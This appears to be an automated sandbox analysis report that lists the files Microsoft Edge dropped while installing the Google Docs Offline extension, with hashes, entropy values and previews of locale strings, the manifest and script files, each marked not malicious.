SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\uk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	4.686760246306605
Encrypted:	false
SSDEEP:	24:1HAk9oxkm6H4KyGGB9GeGoxPEYMQhpARezTtHUN97zlwpEH7:VKU1GB9GeBc/OARETt+9/WCb
MD5:	970963C25C2CEF16BB6F60952E103105
SHA1:	BBDDACFEEE60E22FB1C130E1EE8EFDA75EA600AA
SHA-256:	9FA26FF09F6ACDE2457ED366C0C4124B6CAC1435D0C4FD8A870A0C090417DA19
SHA-512:	1BED9FE4D4ADEED3D0BC8258D9F2FD72C6A177C713C3B03FC6F5452B6D6C2CB2236C54EA972ECE7DBFD756733805EB2352CAE44BAB93AA8EA73BB80460349504
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........".. },.. "explanationofflinedisabled": {.. "message": ".. . ...... ....... ... ............. Google ........... ... ......... . .........., ......... . ............ .. ........ ........ Google .......... . ......... ......-............., .... ...... . .......".. },.. "explanationofflineenabled": {.. "message": ".. . ...... ......, ..... ... .... ...... .......... ........ ..... ... .......... .....".. },.. "extdesc": {.. "message": "........., ......... . ............ ........., .......... ....... .. ........... ... ....... .. ..........".. },.. "extname": {.. "message": "Goo

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\ur\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1263
Entropy (8bit):	4.861856182762435
Encrypted:	false
SSDEEP:	24:1HAl3zNEUhN3mNjkSIkmdNpInuUVsqNtOJDhY8Dvp/IkLzx:e3uUhQKvkmd+s11Lp1F
MD5:	8B4DF6A9281333341C939C244DDB7648
SHA1:	382C80CAD29BCF8AAF52D9A24CA5A6ECF1941C6B
SHA-256:	5DA836224D0F3A96F1C5EB5063061AAD837CA9FC6FED15D19C66DA25CF56F8AC
SHA-512:	FA1C015D4EA349F73468C78FDB798D462EEF0F73C1A762298798E19F825E968383B0A133E0A2CE3B3DF95F24C71992235BFC872C69DC98166B44D3183BF8A9E5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ......".. },.. "explanationofflinedisabled": {.. "message": ".. .. .... .... Google Docs .. .... ....... ..... ....... .... ..... .... ... .. .. ....... .. ..... ... .. Google Docs ... ... .. ....... .. ..... ... .. .... ...... ..... .. .. .....".. },.. "explanationofflineenabled": {.. "message": ".. .. .... ... .... .. ... ... ...... ..... ... ..... .. .... ... .. ... ..... ... .... ....".. },.. "extdesc": {.. "message": ".......... .......... ... ....... . .... ... ....... .. ..... .. .... ...... ..... .... ... ..... .......".. },.. "extname": {.. "message": "Google Docs .. ....".. },.. "learnmore": {..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\vi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1074
Entropy (8bit):	5.062722522759407
Encrypted:	false
SSDEEP:	24:1HAhBBLEBOVUSUfE+eDFmj4BLErQ7e2CIer32KIxqJ/HtNiE5nIGeU+KCVT:qHCDheDFmjDQgX32/S/hI9jh
MD5:	773A3B9E708D052D6CBAA6D55C8A5438
SHA1:	5617235844595D5C73961A2C0A4AC66D8EA5F90F
SHA-256:	597C5F32BC999746BC5C2ED1E5115C523B7EB1D33F81B042203E1C1DF4BBCAFE
SHA-512:	E5F906729E38B23F64D7F146FA48F3ABF6BAED9AAFC0E5F6FA59F369DC47829DBB4BFA94448580BD61A34E844241F590B8D7AEC7091861105D8EBB2590A3BEE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "T.O M.I".. },.. "explanationofflinedisabled": {.. "message": "B.n .ang ngo.i tuy.n. .. s. d.ng Google T.i li.u m. kh.ng c.n k.t n.i Internet, .i ..n c.i ..t tr.n trang ch. c.a Google T.i li.u v. b.t ..ng b. h.a ngo.i tuy.n v.o l.n ti.p theo b.n ...c k.t n.i v.i m.ng Internet.".. },.. "explanationofflineenabled": {.. "message": "B.n .ang ngo.i tuy.n, tuy nhi.n b.n v.n c. th. ch.nh s.a c.c t.p c. s.n ho.c t.o c.c t.p m.i.".. },.. "extdesc": {.. "message": "Ch.nh s.a, t.o v. xem t.i li.u, b.ng t.nh v. b.n tr.nh b.y . t.t c. m. kh.ng c.n truy c.p Internet.".. },.. "extname": {.. "message": "Google T.i li.u ngo.i tuy.n".. },.. "learnmore": {.. "message": "Ti.m hi..u th.m".. },.. "popuphelptext": {.. "message": "Vi.t, ch.nh s.a v. c.ng t.c

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\zh_CN\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	879
Entropy (8bit):	5.7905809868505544
Encrypted:	false
SSDEEP:	12:1HASvgteHCBxNtSBXuetOrgIkA2OrWjMOCBxetSBXK01fg/SOiCSUEQ27e1CBhUj:1HAFsHtrIkA2jqldI/727eggcLk9pf
MD5:	3E76788E17E62FB49FB5ED5F4E7A3DCE
SHA1:	6904FFA0D13D45496F126E58C886C35366EFCC11
SHA-256:	E72D0BB08CC3005556E95A498BD737E7783BB0E56DCC202E7D27A536616F5EE0
SHA-512:	F431E570AB5973C54275C9EEF05E49E6FE2D6C17000F98D672DD31F9A1FAD98E0D50B5B0B9CF85D5BBD3B655B93FD69768C194C8C1688CB962AA75FF1AF9BDB6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ................ Google ....................".. },.. "explanationofflineenabled": {.. "message": ".............................".. },.. "extdesc": {.. "message": "...................... - ........".. },.. "extname": {.. "message": "Google .......".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "...............................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\zh_HK\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.50367724745418
Encrypted:	false
SSDEEP:	24:YWvqB0f7Cr591AhI9Ah8U1F4rw4wtB9G976d6BY9scKUrPoAhNehIrI/uIXS1:YWvl7Cr5JHrw7k7u6BY9trW+rHR
MD5:	524E1B2A370D0E71342D05DDE3D3E774
SHA1:	60D1F59714F9E8F90EF34138D33FBFF6DD39E85A
SHA-256:	30F44CFAD052D73D86D12FA20CFC111563A3B2E4523B43F7D66D934BA8DACE91
SHA-512:	D2225CF2FA94B01A7B0F70A933E1FDCF69CDF92F76C424CE4F9FCC86510C481C9A87A7B71F907C836CBB1CA41A8BEBBD08F68DBC90710984CA738D293F905272
Malicious:	false
Preview:	{"createnew":{"message":"\u5efa\u7acb\u65b0\u9805\u76ee"},"explanationofflinedisabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\u3002\u5982\u8981\u5728\u6c92\u6709\u4e92\u806f\u7db2\u9023\u7dda\u7684\u60c5\u6cc1\u4e0b\u4f7f\u7528\u300cGoogle \u6587\u4ef6\u300d\uff0c\u8acb\u524d\u5f80\u300cGoogle \u6587\u4ef6\u300d\u9996\u9801\u7684\u8a2d\u5b9a\uff0c\u4e26\u5728\u4e0b\u6b21\u9023\u63a5\u4e92\u806f\u7db2\u6642\u958b\u555f\u96e2\u7dda\u540c\u6b65\u529f\u80fd\u3002"},"explanationofflineenabled":{"message":"\u60a8\u8655\u65bc\u96e2\u7dda\u72c0\u614b\uff0c\u4f46\u60a8\u4ecd\u53ef\u4ee5\u7de8\u8f2f\u53ef\u7528\u6a94\u6848\u6216\u5efa\u7acb\u65b0\u6a94\u6848\u3002"},"extdesc":{"message":"\u7de8\u8f2f\u3001\u5efa\u7acb\u53ca\u67e5\u770b\u60a8\u7684\u6587\u4ef6\u3001\u8a66\u7b97\u8868\u548c\u7c21\u5831\uff0c\u5b8c\u5168\u4e0d\u9700\u4f7f\u7528\u4e92\u806f\u7db2\u3002"},"extname":{"message":"\u300cGoogle \u6587\u4ef6\u300d\u96e2\u7dda\u7248"},"learnmore":{"message":"\u77ad\u89e3\u8a

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\zh_TW\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.76581227215314
Encrypted:	false
SSDEEP:	12:1HASvgmaCBxNtBtA24ZOuAeOEHGOCBxetBtMHQIJECSUnLRNocPNy6CBhU5OGg1O:1HAEfQkekYyLvRmcPGgzcL2kx5U
MD5:	0E60627ACFD18F44D4DF469D8DCE6D30
SHA1:	2BFCB0C3CA6B50D69AD5745FA692BAF0708DB4B5
SHA-256:	F94C6DDEDF067642A1AF18D629778EC65E02B6097A8532B7E794502747AEB008
SHA-512:	6FF517EED4381A61075AC7C8E80C73FAFAE7C0583BA4FA7F4951DD7DBE183C253702DEE44B3276EFC566F295DAC1592271BE5E0AC0C7D2C9F6062054418C7C27
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".....".. },.. "explanationofflinedisabled": {.. "message": ".................. Google ................ Google .................".. },.. "explanationofflineenabled": {.. "message": ".........................".. },.. "extdesc": {.. "message": ".............................".. },.. "extname": {.. "message": "Google .....".. },.. "learnmore": {.. "message": "....".. },.. "popuphelptext": {.. "message": "................................".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_locales\zu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	912
Entropy (8bit):	4.65963951143349
Encrypted:	false
SSDEEP:	24:YlMBKqLnI7EgBLWFQbTQIF+j4h3OadMJzLWnCieqgwLeOvKrCRPE:YlMBKqjI7EQOQb0Pj4heOWqeyaBrMPE
MD5:	71F916A64F98B6D1B5D1F62D297FDEC1
SHA1:	9386E8F723C3F42DA5B3F7E0B9970D2664EA0BAA
SHA-256:	EC78DDD4CCF32B5D76EC701A20167C3FBD146D79A505E4FB0421FC1E5CF4AA63
SHA-512:	30FA4E02120AF1BE6E7CC7DBB15FAE5D50825BD6B3CF28EF21D2F2E217B14AF5B76CFCC165685C3EDC1D09536BFCB10CA07E1E2CC0DA891CEC05E19394AD7144
Malicious:	false
Preview:	{"createnew":{"message":"DALA ENTSHA"},"explanationofflinedisabled":{"message":"Awuxhunyiwe ku-inthanethi. Ukuze usebenzise i-Google Amadokhumenti ngaphandle koxhumano lwe-inthanethi, iya kokuthi izilungiselelo ekhasini lasekhaya le-Google Amadokhumenti bese uvula ukuvumelanisa okungaxhunyiwe ku-inthanethi ngesikhathi esilandelayo lapho uxhunywe ku-inthanethi."},"explanationofflineenabled":{"message":"Awuxhunyiwe ku-inthanethi, kodwa usangakwazi ukuhlela amafayela atholakalayo noma udale amasha."},"extdesc":{"message":"Hlela, dala, futhi ubuke amadokhumenti akho, amaspredishithi, namaphrezentheshini \u2014 konke ngaphandle kokufinyelela kwe-inthanethi."},"extname":{"message":"I-Google Amadokhumenti engaxhumekile ku-intanethi"},"learnmore":{"message":"Funda kabanzi"},"popuphelptext":{"message":"Bhala, hlela, futhi hlanganyela noma yikuphi lapho okhona, unalo noma ungenalo uxhumano lwe-inthanethi."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	11280
Entropy (8bit):	5.751992630887702
Encrypted:	false
SSDEEP:	192:RBG1G1UPkUj/86Op//Ier/2nsNLJtwg+K8HNnswuHEIIMuuqd7CKqvUpGTcjG:m8IEI4u8Rp
MD5:	250C48F4915DD4C0DFA7E7E021A4F066
SHA1:	092A98BF40D8C18280393BF3811A7DFA9A9FD326
SHA-256:	26D9B129339E2E2EB8E0223E16DB3CF0EA220AC0799480D462C236E6A425665E
SHA-512:	8B18E232992E55E8DA97AC46D7AACA061508341D1EADCEFF1E9D0677734DFA8B892AB44754A3AA100585F5B2F2562BC4F2D7103065050FFCD00F91D5915CE5E6
Malicious:	false
Preview:	[{"description":"treehash per file","signed_content":{"payload":"eyJjb250ZW50X2hhc2hlcyI6W3siYmxvY2tfc2l6ZSI6NDA5NiwiZGlnZXN0Ijoic2hhMjU2IiwiZmlsZXMiOlt7InBhdGgiOiIxMjgucG5nIiwicm9vdF9oYXNoIjoiZ2NWZy0xWWgySktRNVFtUmtjZGNmamU1dzVIc1JNN1ZCTmJyaHJ4eGZ5ZyJ9LHsicGF0aCI6Il9sb2NhbGVzL2FmL21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJxaElnV3hDSFVNLWZvSmVFWWFiWWlCNU9nTm9ncUViWUpOcEFhZG5KR0VjIn0seyJwYXRoIjoiX2xvY2FsZXMvYW0vbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IlpPQWJ3cEs2THFGcGxYYjh4RVUyY0VkU0R1aVY0cERNN2lEQ1RKTTIyTzgifSx7InBhdGgiOiJfbG9jYWxlcy9hci9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiUjJVaEZjdTVFcEJfUUZtU19QeGstWWRrSVZqd3l6WEoxdURVZEMyRE9BSSJ9LHsicGF0aCI6Il9sb2NhbGVzL2F6L21lc3NhZ2VzLmpzb24iLCJyb290X2hhc2giOiJZVVJ3Mmp4UU5Lem1TZkY0YS1xcTBzbFBSSFc4eUlXRGtMY2g4Ry0zdjJRIn0seyJwYXRoIjoiX2xvY2FsZXMvYmUvbWVzc2FnZXMuanNvbiIsInJvb3RfaGFzaCI6IjNmRm9XYUZmUHJNelRXSkJsMXlqbUlyRDZ2dzlsa1VxdzZTdjAyUk1oVkEifSx7InBhdGgiOiJfbG9jYWxlcy9iZy9tZXNzYWdlcy5qc29uIiwicm9vdF9oYXNoIjoiSXJ3M3RIem9xREx6bHdGa0hjTllOWFoyNmI0WWVwT2t4ZFN

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\dasherSettingSchema.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	854
Entropy (8bit):	4.284628987131403
Encrypted:	false
SSDEEP:	12:ont+QByTwnnGNcMbyWM+Q9TZldnnnGGxlF/S0WOtUL0M0r:vOrGe4dDCVGOjWJ0nr
MD5:	4EC1DF2DA46182103D2FFC3B92D20CA5
SHA1:	FB9D1BA3710CF31A87165317C6EDC110E98994CE
SHA-256:	6C69CE0FE6FAB14F1990A320D704FEE362C175C00EB6C9224AA6F41108918CA6
SHA-512:	939D81E6A82B10FF73A35C931052D8D53D42D915E526665079EEB4820DF4D70F1C6AEBAB70B59519A0014A48514833FEFD687D5A3ED1B06482223A168292105D
Malicious:	false
Preview:	{. "type": "object",. "properties": {. "allowedDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Allow users to enable Docs offline for the specified managed domains.",. "description": "Users on managed devices will be able to enable docs offline if they are part of the specified managed domains.". },. "autoEnabledDocsOfflineDomains": {. "type": "array",. "items": {. "type": "string". },. "title": "Auto enable Docs offline for the specified managed domains in certain eligible situations.",. "description": "Users on managed devices, in certain eligible situations, will be able to automatically access and edit recent files offline for the managed domains set in this property. They can still disable it from Drive settings.". }. }.}.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2525
Entropy (8bit):	5.417833205646285
Encrypted:	false
SSDEEP:	24:1HEZ4WPoolELb/KxktGw3VwELb/4iL2QDkUpvdz1xxy/Atj1K9yiVvQe:WdP5aLTKQGwlTLT4oRvvxs/APKgiVb
MD5:	236D2DD305D64C2B6ABD232ED53270DF
SHA1:	9F6885E95FBC4213631F0B0EA49C803D07D34136
SHA-256:	2A4D526B9D1C8665427FB9E0DA58D16FDDE382DD74C1258941B18701EF7880C3
SHA-512:	B76AF22153F79BCA2429A23746A62A430A521E952E7F94936648ECFD25AFDD9801ACBF6FD16941918A4FEDE39DE747AB6C6336BC86CA74384920AF7E815DB855
Malicious:	false
Preview:	{.. "author": {.. "email": "docs-hosted-app-own@google.com".. },.. "background": {.. "service_worker": "service_worker_bin_prod.js".. },.. "content_capabilities": {.. "matches": [ "https://docs.google.com/", "https://drive.google.com/", "https://drive-autopush.corp.google.com/", "https://drive-daily-0.corp.google.com/", "https://drive-daily-1.corp.google.com/", "https://drive-daily-2.corp.google.com/", "https://drive-daily-3.corp.google.com/", "https://drive-daily-4.corp.google.com/", "https://drive-daily-5.corp.google.com/", "https://drive-daily-6.corp.google.com/", "https://drive-preprod.corp.google.com/", "https://drive-staging.corp.google.com/" ],.. "permissions": [ "clipboardRead", "clipboardWrite", "unlimitedStorage" ].. },.. "content_security_policy": {.. "extension_pages": "script-src 'self'; object-src 'self'".. },.. "default_locale": "en_US",.. "description": "__MSG_extDesc__",.. "externally_connectable": {.. "ma

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\offscreendocument.html

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	97
Entropy (8bit):	4.862433271815736
Encrypted:	false
SSDEEP:	3:PouV7uJL5XL/oGLvLAAJR90bZNGXIL0Hac4NGb:hxuJL5XsOv0EmNV4HX4Qb
MD5:	B747B5922A0BC74BBF0A9BC59DF7685F
SHA1:	7BF124B0BE8EE2CFCD2506C1C6FFC74D1650108C
SHA-256:	B9FA2D52A4FFABB438B56184131B893B04655B01F336066415D4FE839EFE64E7
SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3777)
Category:	dropped
Size (bytes):	98880
Entropy (8bit):	5.414989230634404
Encrypted:	false
SSDEEP:	1536:M+TW9bPq1M3ZOC0pJ/BjXf3Zk/7hry6fq66V3gr9KUw5SXfPxhZhGurH6c/V:WPLZwJJXf3ZvRV3gJKU/fP+urHRV
MD5:	DC93A1045D1AD8D7ADD06B93B2FE79E2
SHA1:	CAFCC8DB7F8E3FD2F8C1EFAC7B385D7616F55EA3
SHA-256:	D5CEB4449384CD2D7898C052B7B99417961880945FC4EAE80EBBAF8E24CC0A3E
SHA-512:	025F7103D1F7D607825BE916D0131C1E04B295EB562974A77F5A16E7BF40250B5608071779B420E4738F86F09A6F7C889469FA898268894FFFEEB7465C589E81
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir3504_390941407\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3782)
Category:	dropped
Size (bytes):	107677
Entropy (8bit):	5.396220758526552
Encrypted:	false
SSDEEP:	1536:7nwyvB1qCo7mWUgsUopF5Xy4FlAwxdhvHcrdncqAKxwjBnKwIDQgrOChkPIgmrCp:wh6gstXy4FM5ncJKxCnKWgrd0v
MD5:	E8015AC436B33034EDF7DA060E853A04
SHA1:	62D0F6EB0E441158A1F56F6E0C70D3D229B57886
SHA-256:	23C953E989FF4AF6126D4A3B2AD21B33A82512FC8768045C00F05940DE2C9978
SHA-512:	C35AC8692FC22B78365CA202E173A90AE4B5DBA338B7FC9EEB17EDDF5868B52CF1D13DC0EDAF36BE1CC0E0152F41AC4027C51D7ECA27778B483E3FC83F11EA82
Malicious:	false
